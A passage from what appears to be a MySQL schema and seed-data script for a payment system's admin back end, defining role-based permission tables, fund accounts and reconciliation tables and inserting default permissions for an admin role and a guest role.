11:07:43', 'ACTIVE', '权限管理-权限-添加', '权限管理-权限-添加', 'pms:permission:add'); INSERT INTO `pms_permission` VALUES ('13', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-权限-修改', '权限管理-权限-修改', 'pms:permission:edit'); INSERT INTO `pms_permission` VALUES ('14', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-权限-删除', '权限管理-权限-删除', 'pms:permission:delete'); INSERT INTO `pms_permission` VALUES ('21', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-角色-查看', '权限管理-角色-查看', 'pms:role:view'); INSERT INTO `pms_permission` VALUES ('22', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-角色-添加', '权限管理-角色-添加', 'pms:role:add'); INSERT INTO `pms_permission` VALUES ('23', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-角色-修改', '权限管理-角色-修改', 'pms:role:edit'); INSERT INTO `pms_permission` VALUES ('24', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-角色-删除', '权限管理-角色-删除', 'pms:role:delete'); INSERT INTO `pms_permission` VALUES ('25', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-角色-分配权限', '权限管理-角色-分配权限', 'pms:role:assignpermission'); INSERT INTO `pms_permission` VALUES ('31', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-操作员-查看', '权限管理-操作员-查看', 'pms:operator:view'); INSERT INTO `pms_permission` VALUES ('32', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-操作员-添加', '权限管理-操作员-添加', 'pms:operator:add'); INSERT INTO `pms_permission` VALUES ('33', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-操作员-查看', '权限管理-操作员-修改', 'pms:operator:edit'); INSERT INTO `pms_permission` VALUES ('34', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-操作员-冻结与解冻', '权限管理-操作员-冻结与解冻', 'pms:operator:changestatus'); INSERT INTO `pms_permission` VALUES ('35', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-操作员-重置密码', '权限管理-操作员-重置密码', 'pms:operator:resetpwd'); INSERT INTO `pms_permission` VALUES ('51', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '账户管理-账户-查看', '账户管理-账户-查看', 'account:accountInfo:view'); INSERT INTO `pms_permission` VALUES ('52', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '账户管理-账户-添加', '账户管理-账户-添加', 'account:accountInfo:add'); INSERT INTO `pms_permission` VALUES ('53', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '账户管理-账户-查看', '账户管理-账户-修改', 'account:accountInfo:edit'); INSERT INTO `pms_permission` VALUES ('54', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '账户管理-账户-删除', '账户管理-账户-删除', 'account:accountInfo:delete'); INSERT INTO `pms_permission` VALUES ('61', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '账户管理-账户历史-查看', '账户管理-账户历史-查看', 'account:accountHistory:view'); INSERT INTO `pms_permission` VALUES ('71', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '用户管理-用户信息-查看', '用户管理-用户信息-查看', 'user:userInfo:view'); INSERT INTO `pms_permission` VALUES ('72', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '用户管理-用户信息-添加', '用户管理-用户信息-添加', 'user:userInfo:add'); INSERT INTO `pms_permission` VALUES ('73', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '用户管理-用户信息-查看', '用户管理-用户信息-修改', 'user:userInfo:edit'); INSERT INTO `pms_permission` VALUES ('74', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '用户管理-用户信息-删除', '用户管理-用户信息-删除', 'user:userInfo:delete'); INSERT INTO `pms_permission` VALUES ('81', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付产品-查看', '支付管理-支付产品-查看', 'pay:product:view'); INSERT INTO `pms_permission` VALUES ('82', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付产品-添加', '支付管理-支付产品-添加', 'pay:product:add'); INSERT INTO `pms_permission` VALUES ('83', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付产品-查看', '支付管理-支付产品-修改', 'pay:product:edit'); INSERT INTO `pms_permission` VALUES ('84', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付产品-删除', '支付管理-支付产品-删除', 'pay:product:delete'); INSERT INTO `pms_permission` VALUES ('85', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付方式-查看', '支付管理-支付方式-查看', 'pay:way:view'); INSERT INTO `pms_permission` VALUES ('86', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付方式-添加', '支付管理-支付方式-添加', 'pay:way:add'); INSERT INTO `pms_permission` VALUES ('87', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付方式-查看', '支付管理-支付方式-修改', 'pay:way:edit'); INSERT INTO `pms_permission` VALUES ('88', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付方式-删除', '支付管理-支付方式-删除', 'pay:way:delete'); INSERT INTO `pms_permission` VALUES ('91', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付配置-查看', '支付管理-支付配置-查看', 'pay:config:view'); INSERT INTO `pms_permission` VALUES ('92', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付配置-添加', '支付管理-支付配置-添加', 'pay:config:add'); INSERT INTO `pms_permission` VALUES ('93', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付配置-查看', '支付管理-支付配置-修改', 'pay:config:edit'); INSERT INTO `pms_permission` VALUES ('94', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '支付管理-支付配置-删除', '支付管理-支付配置-删除', 'pay:config:delete'); INSERT INTO `pms_permission` VALUES ('101', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '交易管理-订单-查看', '交易管理-订单-查看', 'trade:order:view'); INSERT INTO `pms_permission` VALUES ('102', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '交易管理-订单-添加', '交易管理-订单-添加', 'trade:order:add'); INSERT INTO `pms_permission` VALUES ('103', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '交易管理-订单-查看', '交易管理-订单-修改', 'trade:order:edit'); INSERT INTO `pms_permission` VALUES ('104', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '交易管理-订单-删除', '交易管理-订单-删除', 'trade:order:delete'); INSERT INTO `pms_permission` VALUES ('111', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '交易管理-记录-查看', '交易管理-记录-查看', 'trade:record:view'); INSERT INTO `pms_permission` VALUES ('112', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '交易管理-记录-添加', '交易管理-记录-添加', 'trade:record:add'); INSERT INTO `pms_permission` VALUES ('113', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '交易管理-记录-查看', '交易管理-记录-修改', 'trade:record:edit'); INSERT INTO `pms_permission` VALUES ('114', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '交易管理-记录-删除', '交易管理-记录-删除', 'trade:record:delete'); INSERT INTO `pms_permission` VALUES ('121', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '结算管理-记录-查看', '结算管理-记录-查看', 'sett:record:view'); INSERT INTO `pms_permission` VALUES ('122', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '结算管理-记录-添加', '结算管理-记录-添加', 'sett:record:add'); INSERT INTO `pms_permission` VALUES ('123', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '结算管理-记录-查看', '结算管理-记录-修改', 'sett:record:edit'); INSERT INTO `pms_permission` VALUES ('124', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '结算管理-记录-删除', '结算管理-记录-删除', 'sett:record:delete'); INSERT INTO `pms_permission` VALUES ('131', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-差错-查看', '对账管理-差错-查看', 'recon:mistake:view'); INSERT INTO `pms_permission` VALUES ('132', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-差错-添加', '对账管理-差错-添加', 'recon:mistake:add'); INSERT INTO `pms_permission` VALUES ('133', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-差错-查看', '对账管理-差错-修改', 'recon:mistake:edit'); INSERT INTO `pms_permission` VALUES ('134', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-差错-删除', '对账管理-差错-删除', 'recon:mistake:delete'); INSERT INTO `pms_permission` VALUES ('141', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-批次-查看', '对账管理-批次-查看', 'recon:batch:view'); INSERT INTO `pms_permission` VALUES ('142', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-批次-添加', '对账管理-批次-添加', 'recon:batch:add'); INSERT INTO `pms_permission` VALUES ('143', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-批次-查看', '对账管理-批次-修改', 'recon:batch:edit'); INSERT INTO `pms_permission` VALUES ('144', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-批次-删除', '对账管理-批次-删除', 'recon:batch:delete'); INSERT INTO `pms_permission` VALUES ('151', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-缓冲池-查看', '对账管理-缓冲池-查看', 'recon:scratchPool:view'); INSERT INTO `pms_permission` VALUES ('152', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-缓冲池-添加', '对账管理-缓冲池-添加', 'recon:scratchPool:add'); INSERT INTO `pms_permission` VALUES ('153', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-缓冲池-查看', '对账管理-缓冲池-修改', 'recon:scratchPool:edit'); INSERT INTO `pms_permission` VALUES ('154', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '对账管理-缓冲池-删除', '对账管理-缓冲池-删除', 'recon:scratchPool:delete'); -- ---------------------------- -- Table structure for pms_role -- ---------------------------- DROP TABLE IF EXISTS `pms_role`; CREATE TABLE `pms_role` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键', `version` bigint(20) DEFAULT NULL, `creater` varchar(50) DEFAULT NULL COMMENT '创建人', `create_time` datetime DEFAULT NULL COMMENT '创建时间', `editor` varchar(50) DEFAULT NULL COMMENT '修改人', `edit_time` datetime DEFAULT NULL COMMENT '修改时间', `status` varchar(20) DEFAULT NULL, `remark` varchar(300) DEFAULT NULL, `role_code` varchar(20) NOT NULL COMMENT '角色类型(1:超级管理员角色,0:普通操作员角色)', `role_name` varchar(100) NOT NULL, PRIMARY KEY (`id`), KEY `ak_key_2` (`role_name`) ) ENGINE=InnoDB AUTO_INCREMENT=1000 DEFAULT CHARSET=utf8 COMMENT='角色表'; -- ---------------------------- -- Records of pms_role -- ---------------------------- INSERT INTO `pms_role` VALUES ('1', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '超级管理员角色', 'admin', '超级管理员角色'); INSERT INTO `pms_role` VALUES ('2', '0', 'roncoo', '2016-06-03 11:07:43', 'guest', '2016-06-03 11:07:43', 'ACTIVE', '游客角色', 'guest', '游客角色'); -- ---------------------------- -- Table structure for pms_role_operator -- ---------------------------- DROP TABLE IF EXISTS `pms_role_operator`; CREATE TABLE `pms_role_operator` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键', `version` bigint(20) NOT NULL, `creater` varchar(50) NOT NULL COMMENT '创建人', `create_time` datetime NOT NULL COMMENT '创建时间', `editor` varchar(50) DEFAULT NULL COMMENT '修改人', `edit_time` datetime DEFAULT NULL COMMENT '修改时间', `status` varchar(20) NOT NULL, `remark` varchar(300) DEFAULT NULL, `role_id` bigint(20) NOT NULL, `operator_id` bigint(20) NOT NULL, PRIMARY KEY (`id`), KEY `ak_key_2` (`role_id`,`operator_id`) ) ENGINE=InnoDB AUTO_INCREMENT=1000 DEFAULT CHARSET=utf8 COMMENT='操作员与角色关联表'; -- ---------------------------- -- Records of pms_role_operator -- ---------------------------- INSERT INTO `pms_role_operator` VALUES ('1', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '1', '1'); INSERT INTO `pms_role_operator` VALUES ('2', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '1'); INSERT INTO `pms_role_operator` VALUES ('3', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '2'); -- ---------------------------- -- Table structure for pms_role_permission -- ---------------------------- DROP TABLE IF EXISTS `pms_role_permission`; CREATE TABLE `pms_role_permission` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键', `version` bigint(20) DEFAULT NULL, `creater` varchar(50) DEFAULT NULL COMMENT '创建人', `create_time` datetime DEFAULT NULL COMMENT '创建时间', `editor` varchar(50) DEFAULT NULL COMMENT '修改人', `edit_time` datetime DEFAULT NULL COMMENT '修改时间', `status` varchar(20) DEFAULT NULL, `remark` varchar(300) DEFAULT NULL, `role_id` bigint(20) NOT NULL, `permission_id` bigint(20) NOT NULL, PRIMARY KEY (`id`), KEY `ak_key_2` (`role_id`,`permission_id`) ) ENGINE=InnoDB AUTO_INCREMENT=1080 DEFAULT CHARSET=utf8 COMMENT='权限与角色关联表'; -- ---------------------------- -- Records of pms_role_permission -- ---------------------------- INSERT INTO `pms_role_permission` VALUES ('1000', null, null, null, null, null, null, null, '1', '61'); INSERT INTO `pms_role_permission` VALUES ('1001', null, null, null, null, null, null, null, '1', '52'); INSERT INTO `pms_role_permission` VALUES ('1002', null, null, null, null, null, null, null, '1', '54'); INSERT INTO `pms_role_permission` VALUES ('1003', null, null, null, null, null, null, null, '1', '53'); INSERT INTO `pms_role_permission` VALUES ('1004', null, null, null, null, null, null, null, '1', '51'); INSERT INTO `pms_role_permission` VALUES ('1005', null, null, null, null, null, null, null, '1', '92'); INSERT INTO `pms_role_permission` VALUES ('1006', null, null, null, null, null, null, null, '1', '94'); INSERT INTO `pms_role_permission` VALUES ('1007', null, null, null, null, null, null, null, '1', '93'); INSERT INTO `pms_role_permission` VALUES ('1008', null, null, null, null, null, null, null, '1', '91'); INSERT INTO `pms_role_permission` VALUES ('1009', null, null, null, null, null, null, null, '1', '82'); INSERT INTO `pms_role_permission` VALUES ('1010', null, null, null, null, null, null, null, '1', '84'); INSERT INTO `pms_role_permission` VALUES ('1011', null, null, null, null, null, null, null, '1', '83'); INSERT INTO `pms_role_permission` VALUES ('1012', null, null, null, null, null, null, null, '1', '81'); INSERT INTO `pms_role_permission` VALUES ('1013', null, null, null, null, null, null, null, '1', '86'); INSERT INTO `pms_role_permission` VALUES ('1014', null, null, null, null, null, null, null, '1', '88'); INSERT INTO `pms_role_permission` VALUES ('1015', null, null, null, null, null, null, null, '1', '87'); INSERT INTO `pms_role_permission` VALUES ('1016', null, null, null, null, null, null, null, '1', '85'); INSERT INTO `pms_role_permission` VALUES ('1017', null, null, null, null, null, null, null, '1', '2'); INSERT INTO `pms_role_permission` VALUES ('1018', null, null, null, null, null, null, null, '1', '4'); INSERT INTO `pms_role_permission` VALUES ('1019', null, null, null, null, null, null, null, '1', '3'); INSERT INTO `pms_role_permission` VALUES ('1020', null, null, null, null, null, null, null, '1', '1'); INSERT INTO `pms_role_permission` VALUES ('1021', null, null, null, null, null, null, null, '1', '32'); INSERT INTO `pms_role_permission` VALUES ('1022', null, null, null, null, null, null, null, '1', '34'); INSERT INTO `pms_role_permission` VALUES ('1023', null, null, null, null, null, null, null, '1', '33'); INSERT INTO `pms_role_permission` VALUES ('1024', null, null, null, null, null, null, null, '1', '35'); INSERT INTO `pms_role_permission` VALUES ('1025', null, null, null, null, null, null, null, '1', '31'); INSERT INTO `pms_role_permission` VALUES ('1026', null, null, null, null, null, null, null, '1', '12'); INSERT INTO `pms_role_permission` VALUES ('1027', null, null, null, null, null, null, null, '1', '14'); INSERT INTO `pms_role_permission` VALUES ('1028', null, null, null, null, null, null, null, '1', '13'); INSERT INTO `pms_role_permission` VALUES ('1029', null, null, null, null, null, null, null, '1', '11'); INSERT INTO `pms_role_permission` VALUES ('1030', null, null, null, null, null, null, null, '1', '22'); INSERT INTO `pms_role_permission` VALUES ('1031', null, null, null, null, null, null, null, '1', '25'); INSERT INTO `pms_role_permission` VALUES ('1032', null, null, null, null, null, null, null, '1', '24'); INSERT INTO `pms_role_permission` VALUES ('1033', null, null, null, null, null, null, null, '1', '23'); INSERT INTO `pms_role_permission` VALUES ('1034', null, null, null, null, null, null, null, '1', '21'); INSERT INTO `pms_role_permission` VALUES ('1035', null, null, null, null, null, null, null, '1', '142'); INSERT INTO `pms_role_permission` VALUES ('1036', null, null, null, null, null, null, null, '1', '144'); INSERT INTO `pms_role_permission` VALUES ('1037', null, null, null, null, null, null, null, '1', '143'); INSERT INTO `pms_role_permission` VALUES ('1038', null, null, null, null, null, null, null, '1', '141'); INSERT INTO `pms_role_permission` VALUES ('1039', null, null, null, null, null, null, null, '1', '132'); INSERT INTO `pms_role_permission` VALUES ('1040', null, null, null, null, null, null, null, '1', '134'); INSERT INTO `pms_role_permission` VALUES ('1041', null, null, null, null, null, null, null, '1', '133'); INSERT INTO `pms_role_permission` VALUES ('1042', null, null, null, null, null, null, null, '1', '131'); INSERT INTO `pms_role_permission` VALUES ('1043', null, null, null, null, null, null, null, '1', '152'); INSERT INTO `pms_role_permission` VALUES ('1044', null, null, null, null, null, null, null, '1', '154'); INSERT INTO `pms_role_permission` VALUES ('1045', null, null, null, null, null, null, null, '1', '153'); INSERT INTO `pms_role_permission` VALUES ('1046', null, null, null, null, null, null, null, '1', '151'); INSERT INTO `pms_role_permission` VALUES ('1047', null, null, null, null, null, null, null, '1', '122'); INSERT INTO `pms_role_permission` VALUES ('1048', null, null, null, null, null, null, null, '1', '124'); INSERT INTO `pms_role_permission` VALUES ('1049', null, null, null, null, null, null, null, '1', '123'); INSERT INTO `pms_role_permission` VALUES ('1050', null, null, null, null, null, null, null, '1', '121'); INSERT INTO `pms_role_permission` VALUES ('1051', null, null, null, null, null, null, null, '1', '102'); INSERT INTO `pms_role_permission` VALUES ('1052', null, null, null, null, null, null, null, '1', '104'); INSERT INTO `pms_role_permission` VALUES ('1053', null, null, null, null, null, null, null, '1', '103'); INSERT INTO `pms_role_permission` VALUES ('1054', null, null, null, null, null, null, null, '1', '101'); INSERT INTO `pms_role_permission` VALUES ('1055', null, null, null, null, null, null, null, '1', '112'); INSERT INTO `pms_role_permission` VALUES ('1056', null, null, null, null, null, null, null, '1', '114'); INSERT INTO `pms_role_permission` VALUES ('1057', null, null, null, null, null, null, null, '1', '113'); INSERT INTO `pms_role_permission` VALUES ('1058', null, null, null, null, null, null, null, '1', '111'); INSERT INTO `pms_role_permission` VALUES ('1059', null, null, null, null, null, null, null, '1', '72'); INSERT INTO `pms_role_permission` VALUES ('1060', null, null, null, null, null, null, null, '1', '74'); INSERT INTO `pms_role_permission` VALUES ('1061', null, null, null, null, null, null, null, '1', '73'); INSERT INTO `pms_role_permission` VALUES ('1062', null, null, null, null, null, null, null, '1', '71'); INSERT INTO `pms_role_permission` VALUES ('1063', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '1'); INSERT INTO `pms_role_permission` VALUES ('1064', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '11'); INSERT INTO `pms_role_permission` VALUES ('1065', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '21'); INSERT INTO `pms_role_permission` VALUES ('1066', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '31'); INSERT INTO `pms_role_permission` VALUES ('1067', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '41'); INSERT INTO `pms_role_permission` VALUES ('1068', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '51'); INSERT INTO `pms_role_permission` VALUES ('1069', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '61'); INSERT INTO `pms_role_permission` VALUES ('1070', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '71'); INSERT INTO `pms_role_permission` VALUES ('1071', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '81'); INSERT INTO `pms_role_permission` VALUES ('1072', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '85'); INSERT INTO `pms_role_permission` VALUES ('1073', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '91'); INSERT INTO `pms_role_permission` VALUES ('1074', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '101'); INSERT INTO `pms_role_permission` VALUES ('1075', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '111'); INSERT INTO `pms_role_permission` VALUES ('1076', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '121'); INSERT INTO `pms_role_permission` VALUES ('1077', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '131'); INSERT INTO `pms_role_permission` VALUES ('1078', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '141'); INSERT INTO `pms_role_permission` VALUES ('1079', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '', '2', '151'); -- ---------------------------- -- Table structure for rp_account -- ---------------------------- DROP TABLE IF EXISTS `rp_account`; CREATE TABLE `rp_account` ( `id` varchar(50) NOT NULL, `create_time` datetime NOT NULL, `edit_time` datetime DEFAULT NULL, `version` bigint(20) NOT NULL, `remark` varchar(200) DEFAULT NULL, `account_no` varchar(50) NOT NULL, `balance` decimal(20,6) NOT NULL, `unbalance` decimal(20,6) NOT NULL, `security_money` decimal(20,6) NOT NULL, `status` varchar(36) NOT NULL, `total_income` decimal(20,6) NOT NULL, `total_expend` decimal(20,6) NOT NULL, `today_income` decimal(20,6) NOT NULL, `today_expend` decimal(20,6) NOT NULL, `account_type` varchar(50) NOT NULL, `sett_amount` decimal(20,6) NOT NULL, `user_no` varchar(50) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='资金账户表'; -- ---------------------------- -- Records of rp_account -- ---------------------------- INSERT INTO `rp_account` VALUES ('b2a8d6c1ebac4060ba7a5ba9e43a41c5', '2017-05-06 16:37:57', '2017-05-06 16:37:57', '0', null, '99992017050610000001', '0.000000', '0.000000', '0.000000', 'ACTIVE', '0.000000', '0.000000', '0.000000', '0.000000', '0', '0.000000', '88882017050610001114'); -- ---------------------------- -- Table structure for rp_account_check_batch -- ---------------------------- DROP TABLE IF EXISTS `rp_account_check_batch`; CREATE TABLE `rp_account_check_batch` ( `id` varchar(50) NOT NULL, `version` int(10) unsigned NOT NULL, `create_time` datetime NOT NULL, `editor` varchar(100) DEFAULT NULL COMMENT '修改者', `creater` varchar(100) DEFAULT NULL COMMENT '创建者', `edit_time` datetime DEFAULT NULL COMMENT '最后修改时间', `status` varchar(30) NOT NULL, `remark` varchar(500) DEFAULT NULL, `batch_no` varchar(30) NOT NULL, `bill_date` date NOT NULL, `bill_type` varchar(30) DEFAULT NULL, `handle_status` varchar(10) DEFAULT NULL, `bank_type` varchar(30) DEFAULT NULL, `mistake_count` int(8) DEFAULT NULL, `unhandle_mistake_count` int(8) DEFAULT NULL, `trade_count` int(8) DEFAULT NULL, `bank_trade_count` int(8) DEFAULT NULL, `trade_amount` decimal(20,6) DEFAULT NULL, `bank_trade_amount` decimal(20,6) DEFAULT NULL, `refund_amount` decimal(20,6) DEFAULT NULL, `bank_refund_amount` decimal(20,6) DEFAULT NULL, `bank_fee` decimal(20,6) DEFAULT NULL, `org_check_file_path` varchar(500) DEFAULT NULL, `release_check_file_path` varchar(500) DEFAULT NULL, `release_status` varchar(15) DEFAULT NULL, `check_fail_msg` varchar(300) DEFAULT NULL, `bank_err_msg` varchar(300) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='对账批次表 rp_account_check_batch'; -- ---------------------------- -- Records of rp_account_check_batch -- ---------------------------- -- ---------------------------- -- Table structure for rp_account_check_mistake -- ---------------------------- DROP TABLE IF EXISTS `rp_account_check_mistake`; CREATE TABLE `rp_account_check_mistake` ( `id` varchar(50) NOT NULL, `version` int(10) unsigned NOT NULL, `create_time` datetime NOT NULL, `editor` varchar(100) DEFAULT NULL COMMENT '修改者', `creater` varchar(100) DEFAULT NULL COMMENT '创建者', `edit_time` datetime DEFAULT NULL COMMENT '最后修改时间', `status` varchar(30) DEFAULT NULL, `remark` varchar(500) DEFAULT NULL, `account_check_batch_no` varchar(50) NOT NULL, `bill_date` date NOT NULL, `bank_type` varchar(30) NOT NULL, `order_time` datetime DEFAULT NULL, `merchant_name` varchar(100) DEFAULT NULL, `merchant_no` varchar(50) DEFAULT NULL, `order_no` varchar(40) DEFAULT NULL, `trade_time` datetime DEFAULT NULL, `trx_no` varchar(20) DEFAULT NULL, `order_amount` decimal(20,6) DEFAULT NULL, `refund_amount` decimal(20,6) DEFAULT NULL, `trade_status` varchar(30) DEFAULT NULL, `fee` decimal(20,6) DEFAULT NULL, `bank_trade_time` datetime DEFAULT NULL, `bank_order_no` varchar(40) DEFAULT NULL, `bank_trx_no` varchar(40) DEFAULT NULL, `bank_trade_status` varchar(30) DEFAULT NULL, `bank_amount` decimal(20,6) DEFAULT NULL, `bank_refund_amount` decimal(20,6) DEFAULT NULL, `bank_fee` decimal(20,6) DEFAULT NULL, `err_type` varchar(30) NOT NULL, `handle_status` varchar(10) NOT NULL, `handle_value` varchar(1000) DEFAULT NULL, `handle_remark` varchar(1000) DEFAULT NULL, `operator_name` varchar(100) DEFAULT NULL, `operator_account_no` varchar(50) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='对账差错表 rp_account_check_mistake'; -- ---------------------------- -- Records of rp_account_check_mistake -- ---------------------------- -- ---------------------------- -- Table structure for rp_account_check_mistake_scratch_pool -- ---------------------------- DROP TABLE IF EXISTS `rp_account_check_mistake_scratch_pool`; CREATE TABLE `rp_account_check_mistake_scratch_pool` ( `id` varchar(50) NOT NULL, `version` int(10) unsigned NOT NULL, `create_time` 